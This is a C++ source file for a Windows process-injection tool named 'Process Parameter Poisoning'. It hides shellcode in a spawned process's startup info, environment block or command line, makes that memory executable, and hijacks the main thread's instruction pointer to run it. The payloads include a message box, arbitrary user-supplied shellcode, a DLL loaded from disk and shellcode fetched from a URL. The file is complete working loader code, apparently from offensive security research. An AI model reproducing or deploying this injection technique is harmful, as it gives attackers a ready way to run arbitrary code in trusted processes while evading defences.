/**
 * Authors: Max Hirschberger & Ogulcan Ugur
 * Project: Process Parameter Poisoning
 * Notes: Built with ❤️ and undefined behavior.
 */

#define STATUS_ACCESS_DENIED 5

#include <iostream>
#include <Windows.h>
#include <vector>
#include <string>
#include <cinttypes>
#include <conio.h>
#include "imports.h"
#include "Menu.h"
#include "ShellCodeWriter.h"
#include "ShellCodeUserInput.h"
#include "WinApiResolver.h"

const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
const WORD BRIGHT_CYAN = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
const WORD LIGHT_GREEN = FOREGROUND_GREEN | FOREGROUND_INTENSITY;


std::vector<uint8_t> BuildShellPayload(int payloadShellcodeChoice, const char* dllPath) {

    std::vector<uint8_t> myCode;

    myCode.push_back(0x41); // L'A'
    myCode.push_back(0x00);
    myCode.push_back('=');  // L'='
    myCode.push_back(0x00);
    myCode.insert(myCode.end(), 4096, 0x41);


    if (payloadShellcodeChoice == 1) { // Direct MessageBox
        ShellCodeWriter w;
        w.CallMessageBoxA(0, "Injected by PPP-Shellcode Loader", "Shell code was injected successfully!", 0);
        w.CallTerminateProcess(NULL, 0);
        std::vector<uint8_t> mbox_sc = w.GetShellCodeBytes();
        myCode.insert(myCode.end(), mbox_sc.begin(), mbox_sc.end());
    }
    else if (payloadShellcodeChoice == 2) { // User supplied ShellCode via LoadAndCallShellCode
        std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetConsoleInput();
        myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
    }
    else if (payloadShellcodeChoice == 3) { // Loading On-Disk DLL
        ShellCodeWriter w;
        w.CallLoadLibraryA(dllPath);
        w.CallTerminateProcess(NULL, 0);
        std::vector<uint8_t> ll_sc = w.GetShellCodeBytes();
        myCode.insert(myCode.end(), ll_sc.begin(), ll_sc.end());
    }
    else if (payloadShellcodeChoice == 4) { // Downloaded from URL
        std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetURLInput();
        myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
    }

    myCode.insert(myCode.end(), 4096, 0x41);
    myCode.insert(myCode.end(), 5, 0);

    return myCode;
}

NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) {
    CONTEXT ctx;
    ctx = { 0 };
    ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL-Flag is enough

    WinApiResolver winapi = WinApiResolver::GetInstance();
    if (winapi.LdrControlFlowGuardEnforced()) {
        return STATUS_ACCESS_DENIED;
    }

    NTSTATUS status = 0;

    status = winapi.NtGetContextThread(*hThread, &ctx);

    if (!NT_SUCCESS(status)) {
        SetColor(FOREGROUND_RED);
        printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
        return status;
    }


    ctx.Rip = (DWORD64)shellcode;


    status = winapi.NtSetContextThread(*hThread, &ctx);
    if (!NT_SUCCESS(status)) {
        SetColor(FOREGROUND_RED);
        printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
        return status;
    }

    return 0;
}

BOOL CreateProcessWithPoison(int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) {

    STARTUPINFOW si = { 0 };
    BOOL success;
    SetColor(LIGHT_GREEN);

    switch (choice) {
    case 1:
        printf("[~] Writing into ShellInfo...\n");
        si.lpReserved = poisonParameter;
        success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
        break;
    case 2:
        printf("[~] Writing into Environment block...\n");
        success = CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi);
        break;
    case 3:
        printf("[~] Writing into CommandLine...\n");
        success = CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi);
        break;
    default:
        return FALSE;
    }
    return success;
}

int wmain(int argc, char** argv) {
    PROCESS_INFORMATION pi = { 0 };

    BOOL success;

    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;

    SIZE_T bytesRead;

    PEB pebLocal;
    RTL_USER_PROCESS_PARAMETERS parameters = { sizeof(parameters) };

    PVOID shellcode = nullptr;
    DWORD oldp = 0;

    unsigned int choice = 0;
    unsigned int payloadShellcodeChoice = 0;

    char dllPath[MAX_PATH];
    wchar_t lpApplication[MAX_PATH] = L"C:\\Windows\\System32\\winver.exe";
    char answer = 0;


    SetColor(BRIGHT_CYAN);
    PrintLogo();

    SetColor(ORANGE);
    ShowFunctionMenu(&choice, &payloadShellcodeChoice, dllPath, lpApplication);


    std::vector<uint8_t> myPayload = BuildShellPayload(payloadShellcodeChoice, dllPath);
    PWCHAR poisonParameter = reinterpret_cast<PWCHAR>(myPayload.data());

    success = CreateProcessWithPoison(choice, lpApplication, poisonParameter, &pi);

    if (success == FALSE) {
        SetColor(FOREGROUND_RED);
        printf("[-] Could not call CreateProcess\n");
        printf("[!] Error Code: %u\n", GetLastError());
        return 1;
    }
    else {
        SetColor(LIGHT_GREEN);
        printf("\t[+] Process startet with PID: %u\n", pi.dwProcessId);
    }

    Sleep(1000); // Run target process a bit before getting the PEB address

    WinApiResolver winapi = WinApiResolver::GetInstance();

    winapi.NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

    NTSTATUS status = winapi.NtReadVirtualMemoryEx(
        pi.hProcess,                 // HANDLE to remote process
        pbi.PebBaseAddress,         // base address to read
        &pebLocal,                  // output buffer
        sizeof(pebLocal),          // size to read
        &bytesRead,                // actual bytes read
        0                          // currently unknown, used 0
    );

    if (!NT_SUCCESS(status)) {
        SetColor(FOREGROUND_RED);
        std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
        return 1;
    }

    std::wcout << L"\t[+] PEB read successfully via NtReadVirtualMemoryEx, bytes: " << bytesRead << std::endl;

    status = winapi.NtReadVirtualMemoryEx(
        pi.hProcess,                 // HANDLE to remote process
        pebLocal.ProcessParameters,         // base address to read
        &parameters,                  // output buffer
        sizeof(parameters),          // size to read
        &bytesRead,                // actual bytes read
        0
    );

    if (!NT_SUCCESS(status)) {
        SetColor(FOREGROUND_RED);
        std::wcerr << L"[-] NtReadVirtualMemoryEx failed: 0x" << std::hex << status << std::endl;
        return 1;
    }

    switch (choice) {
    case 1:
        shellcode = (uint8_t*)(parameters.ShellInfo.Buffer) + 4 + 4096;
        break;
    case 2:
        shellcode = (uint8_t*)(parameters.Environment) + 4 + 4096;;
        break;
    case 3:
        shellcode = (uint8_t*)(parameters.CommandLine.Buffer) + 4 + 4096;
        break;
    default:
        printf("[-] Invalid choice.\n");
        return 1;
    }

    printf("\n");
    SetColor(ORANGE);
    printf("[!] Shellcode is at 0x%p\n", shellcode);


    PVOID base = shellcode;
    SIZE_T shellcodeSize = myPayload.size() - 4 /* L"A=" */ - 8192 /* 2x Page Size */ - 5 /* env zero terminator */;

    status = winapi.NtProtectVirtualMemory(pi.hProcess, &base, &shellcodeSize, PAGE_EXECUTE_READ, &oldp);
    if (!NT_SUCCESS(status)) {
        std::wcerr << L"[-] NtProtectVirtualMemory failed: 0x" << std::hex << status << std::dec << L"\n";
        return 1;
    }

    printf("\t[*] Press any key to fire the Shellcode");
    _getch();


    status = ThreadSetExec(&pi.hThread, shellcode);
    if (!NT_SUCCESS(status)) {
        std::wcerr << L"[-] ThreadSetExec failed: 0x" << std::hex << status << std::dec << L"\n";
        return 1;
    }

    std::wcout << L"\n\t[+] Actions succeeded, exiting.\n";

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return 0;
}